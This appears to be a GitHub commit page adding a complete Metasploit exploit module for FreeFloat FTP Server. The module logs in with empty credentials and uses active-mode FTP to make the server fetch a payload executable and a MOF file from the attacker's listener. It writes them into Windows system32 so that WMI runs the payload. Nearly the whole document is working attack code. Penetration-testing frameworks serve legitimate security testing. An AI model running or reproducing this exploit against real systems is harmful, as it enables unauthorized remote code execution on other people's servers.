Skip to content

Commit e989142

Browse files
committed
Merge branch 'freefloat' of git://github.com/wchen-r7/metasploit-framework into wchen-r7-freefloat
2 parents 901ef50 + 78b4233 commit e989142

File tree

1 file changed

+158
-0
lines changed

1 file changed

+158
-0
lines changed
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::Ftp
14+
include Msf::Exploit::Remote::TcpServer
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::WbemExec
17+
include Msf::Exploit::FileDropper
18+
19+
def initialize(info={})
20+
super(update_info(info,
21+
'Name' => "FreeFloat FTP Server Arbitrary File Upload",
22+
'Description' => %q{
23+
This module abuses multiple issues in FreeFloat: 1. No credential is actually
24+
needed to login; 2. User's default path is in C:\, and this cannot be changed;
25+
3. User can write to anywhere on the server's file system. As a result of these
26+
poor implementations, a malicious user can just log in and then upload files,
27+
and let WMI (Management Instrumentation service) to execute the payload uploaded.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'sinn3r', # Vulnerability discovery, Metasploit module
33+
'juan vazquez' # Metasploit module
34+
],
35+
'References' =>
36+
[
37+
['URL', 'http://metasploit.com']
38+
],
39+
'Platform' => 'win',
40+
'Targets' =>
41+
[
42+
['FreeFloat', {}]
43+
],
44+
'Privileged' => true,
45+
'DisclosureDate' => "Dec 7 2012",
46+
'DefaultTarget' => 0))
47+
48+
register_options(
49+
[
50+
# Change the default description so this option makes sense
51+
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
52+
], self.class)
53+
54+
deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password
55+
end
56+
57+
58+
def check
59+
connect
60+
disconnect
61+
62+
if banner =~ /FreeFloat/
63+
return Exploit::CheckCode::Vulnerable
64+
else
65+
return Exploit::CheckCode::Safe
66+
end
67+
end
68+
69+
70+
def on_client_connect(cli)
71+
peer = "#{cli.peerhost}:#{cli.peerport}"
72+
73+
case @stage
74+
when :exe
75+
print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
76+
cli.put(@exe)
77+
@stage = :mof
78+
79+
when :mof
80+
print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
81+
cli.put(@mof)
82+
end
83+
84+
cli.close
85+
end
86+
87+
88+
def upload(filename)
89+
select(nil, nil, nil, 1)
90+
91+
peer = "#{rhost}:#{rport}"
92+
print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
93+
94+
conn = connect(false, datastore['VERBOSE'])
95+
96+
print_status("#{peer} - Sending empty login...")
97+
98+
res = send_user("", conn)
99+
if not res or res !~ /331/
100+
print_error("#{peer} - Error sending username")
101+
return false
102+
end
103+
104+
res = send_pass("", conn)
105+
if not res or res !~ /230/
106+
print_error("#{peer} - Error sending password")
107+
return false
108+
end
109+
110+
print_good("#{peer} - Empty authentication was successful")
111+
112+
# Switch to binary mode
113+
print_status("#{peer} - Set binary mode")
114+
send_cmd(['TYPE', 'I'], true, conn)
115+
116+
# Prepare active mode: Get attacker's IP and source port
117+
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
118+
src_port = datastore['SRVPORT'].to_i
119+
120+
# Prepare active mode: Convert the IP and port for active mode
121+
src_ip = src_ip.gsub(/\./, ',')
122+
src_port = "#{src_port/256},#{src_port.remainder(256)}"
123+
124+
# Set to active mode
125+
print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
126+
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
127+
128+
# Tell the FTP server to download our file
129+
send_cmd(['STOR', filename], false, conn)
130+
131+
disconnect(conn)
132+
end
133+
134+
135+
def exploit
136+
137+
exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
138+
mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
139+
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
140+
@exe = generate_payload_exe
141+
@stage = :exe
142+
143+
begin
144+
t = framework.threads.spawn("reqs", false) {
145+
# Upload our malicious executable
146+
u = upload(exe_name)
147+
# Upload the mof file
148+
upload(mof_name) if u
149+
register_file_for_cleanup("#{::File.basename(exe_name)}")
150+
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
151+
}
152+
super
153+
ensure
154+
t.kill
155+
end
156+
end
157+
158+
end

0 commit comments

Comments
 (0)